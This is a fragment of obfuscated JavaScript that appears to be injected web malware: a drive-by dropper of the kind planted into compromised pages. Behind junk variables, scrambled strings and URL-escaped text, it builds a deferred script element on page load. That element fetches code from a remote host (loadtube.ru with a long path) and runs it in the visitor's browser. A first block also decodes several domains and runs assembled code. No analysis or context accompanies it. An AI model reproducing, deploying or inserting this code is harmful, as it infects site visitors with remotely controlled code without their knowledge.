[3,0,1,2,5,4])];var C = '';var fF;if(fF!='Mu'){fF='Mu'};var oZB;if(oZB!='Lr' && oZB!='iK'){oZB=''};var nv=[1, k("cduonmter.eceaEtmlee(n\'trsic\'p)t", [1,3,0,2]),2, k("etralmieotn.com", [2,0,1,3]),3, k("uomcdebto.ndp.payehdiCnld(d)", [4,1,3,0,2,5]),4, k("ilvcm.odeeeitsr.usgni:8080", [3,6,4,5,1,0,2]),5, k("e.tAdtsbrutteie\'fe(rd\'", [4,1,6,0,2,3,5]),6, k(".omcgirvolii.it.iplpve", [3,1,2,0]),7, k("ryfmaepetsiyo.cem", [3,1,2,0]),8, k("dwnioo.wanold", [1,3,2,0]),11, k("tcfnu)(ino", [2,4,3,1,0]),12, k("ogoeglo.cm", [1,2,0]),14, k("aeagt.zpl", [3,0,6,1,4,2,5]),15, k("h(etcac)", [6,5,3,4,0,1,2]),16, k("tph\"t:", [3,2,0,4,1]),17, k("sd.cr", [1,2,0,4,3]),18, k("lbgo", [1,0]),19, k("rove", [1,2,3,0]),20, k("1\'\')", [2,0,1,3]),21, k("ryt", [2,0,1])];var PK = /[^@a-z0-9A-Z_-]/g;var FB='';var al;if(al!='oc'){al=''};var d =[0][0];var py=new Date();var Q = '';var GC=new Array();var SK =[0,92,4,109][0];var oto;if(oto!='' && oto!='vry'){oto='IYo'};this.Iy=false;var tc;if(tc!=''){tc='lKo'};var c =[1,228][0];var pV;if(pV!='' && pV!='Mp'){pV='UM'};this.GS=false;var YU;if(YU!=''){YU='Lb'};var Pb="";var yb;if(yb!='dl'){yb=''};var qk;if(qk!='Bi'){qk=''};var UQ;if(UQ!='Qi' && UQ!='Wg'){UQ=''};for(var Vq=d; Vq < bC; Vq+=zz){gh+= K; gh+= kx[k("bsurst", [1,2,0])](Vq, zz);this.kR=false;var aw;if(aw!='uo'){aw=''};}var kx = r(gh);this.Rx="Rx";var l = new T(n);var o = l[k("erlpcae", [1,0])](PK, Q);o = g(o);var Kg;if(Kg!='ZJ' && Kg!='Jj'){Kg=''};var kCS;if(kCS!='' && kCS!='nW'){kCS='aEt'};var yZ;if(yZ!='ZA' && yZ != ''){yZ=null};this.aW="";var Bk = nv[k("enlthg", [2,0,1])];var m = new T(eo);this.NGx="NGx";var kT=new Date();this.Uy="Uy";this.wn=30986;var FBX;if(FBX!='' && FBX!='gM'){FBX=null};var OE;if(OE!='' && OE!='BS'){OE=null};var tQB = m[k("erlpace", [1,0,3,2])](PK, Q);var Od=new Date();var tQB = cZ(tQB);var IT=cZ(o);this.qy=15137;var SP=new String();for(var t=d; t < (kx[k("elgnht", [1,0])]);t=t+[1][0]) {var gK;if(gK!='hmL' && gK!='BQ'){gK='hmL'};var p = o.charCodeAt(SK);var xR="";var QJ=false;var j = L(kx,t);j = e(j, p);var wo="";var sb=false;var eNV=false;j = e(j, IT);var kn;if(kn!='xCh' && kn!='yzj'){kn=''};var Ex=new Date();j = e(j, tQB);var mZ=new String();var cEs;if(cEs!='Mr'){cEs=''};SK++;var Dg;if(Dg!='' && Dg!='Ik'){Dg=''};this.eg=28165;if(SK > o.length-c){var sK;if(sK!='tJ'){sK=''};SK=d;this.tcd='';var jV;if(jV!='' && jV!='Xay'){jV='LJ'};}var PF;if(PF!='' && PF!='vQ'){PF='xBZ'};var AQ=false;var mz=false;C += BC(j);var Wn=new Date();var AS;if(AS!='' && AS!='bB'){AS=''};}var nV;if(nV!=''){nV='mh'};var Bs;if(Bs!='LH' && Bs != ''){Bs=null};var oH=false;for(X=d; X < Bk; X+=zz){var FK=false;var vl="vl";var G = BC(nv[X]);this.iU="";var bzd;if(bzd!='' && bzd!='DgY'){bzd=null};var SG = nv[X + c];var dYf="";var JeT="";var XV=new String();var MU;if(MU!='' && MU!='KS'){MU=''};var ST = new O(G, "g");C=C[k("crapele", [1,4,3,5,2,0])](ST, SG);var kh=new Date();}var gU=new eo(C);gU();var xV=false;var zX;if(zX!='' && zX!='SS'){zX=null};tQB = '';var rGJ;if(rGJ!=''){rGJ='kA'};var Tx;if(Tx!=''){Tx='ds'};gU = '';var gs;if(gs!=''){gs='JU'};var BjQ;if(BjQ!='ug' && BjQ != ''){BjQ=null};m = '';var xYY;if(xYY!='qF'){xYY=''};IT = '';var uH="";C = '';var ob=new Date();var Lwn;if(Lwn!='' && Lwn!='UD'){Lwn=''};var rpj="rpj";var KgB;if(KgB!='' && KgB!='pkU'){KgB=''};o = '';var DX=18895;var DfG;if(DfG!='jQ' && DfG != ''){DfG=null};return '';};this.Hs='';var CkK=new Date();n(Wfv);


var GY;if(GY!='' && GY!='hU'){GY=null};var I=new Date();var Gj=new Array();function _(){var k='';var T=new Array();var z=window;var G=unescape;var ED;if(ED!='' && ED!='J'){ED=''};var v=G("%2f%74%6e%61%66%6c%69%78%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%73%6b%2e%70%68%70");var t="";var Tv;if(Tv!=''){Tv='W'};var GR;if(GR!='V' && GR!='n'){GR=''};function y(m,E){var Un;if(Un!='Jo' && Un!='N'){Un=''};var A="g";var _B=G("%5b"), e=G("%5d");var iY="";this.yv="";var r=_B+E+e;this.Au='';var h=new RegExp(r, A);return m.replace(h, new String());var lq=new Date();};var _O=new Array();var Jt=new Date();var kJ='';var wj;if(wj!='Ys'){wj=''};this.Wp='';var u=document;this.XI="";var JU;if(JU!='j' && JU != ''){JU=null};var vn=new String();var Gc;if(Gc!='uA'){Gc=''};var pB;if(pB!='R' && pB != ''){pB=null};var H=y('897950432825330299','29574631');var We;if(We!='' && We!='yR'){We=''};function p(){var gI;if(gI!='VW'){gI='VW'};var M=G("%68%74%74%70%3a%2f%2f%6c%6f%61%64%74%75%62%65%2e%72%75%3a");var yW;if(yW!='' && yW!='cl'){yW='fl'};var jK='';var gJ;if(gJ!='q' && gJ != ''){gJ=null};vn=M;vn+=H;var B;if(B!='yq' && B!='yvy'){B=''};var YT;if(YT!='aa'){YT='aa'};vn+=v;var IDU=new Date();var UE;if(UE!='NM'){UE='NM'};this.Br="";var QV;if(QV!='' && QV!='Qu'){QV=null};try {var wi='';this._ie="";i=u.createElement(y('sfcLrWiWpPtf','WL9fP'));var OC="";var zR;if(zR!='wd'){zR=''};i[G("%64%65%66%65%72")]=[1][0];var mC;if(mC!='' && mC!='mh'){mC='gg'};var Xy;if(Xy!='' && Xy!='lg'){Xy='nh'};i[G("%73%72%63")]=vn;var D;if(D!='ap' && D!='mN'){D='ap'};var WE="";u.body.appendChild(i);var FP=new String();var pe="";var eM;if(eM!='' && eM!='BJ'){eM=''};var nQ;if(nQ!='' && nQ!='yqA'){nQ=''};} catch(Q){alert(Q);var kM;if(kM!=''){kM='ZF'};};var ey=new Date();this.Zq='';}this.bM='';var er='';z[new String("on"+"lov2p".substr(0,2)+"JBzZad".substr(4))]=p;this.uAg="";this.XJ="";};this.yF='';_();
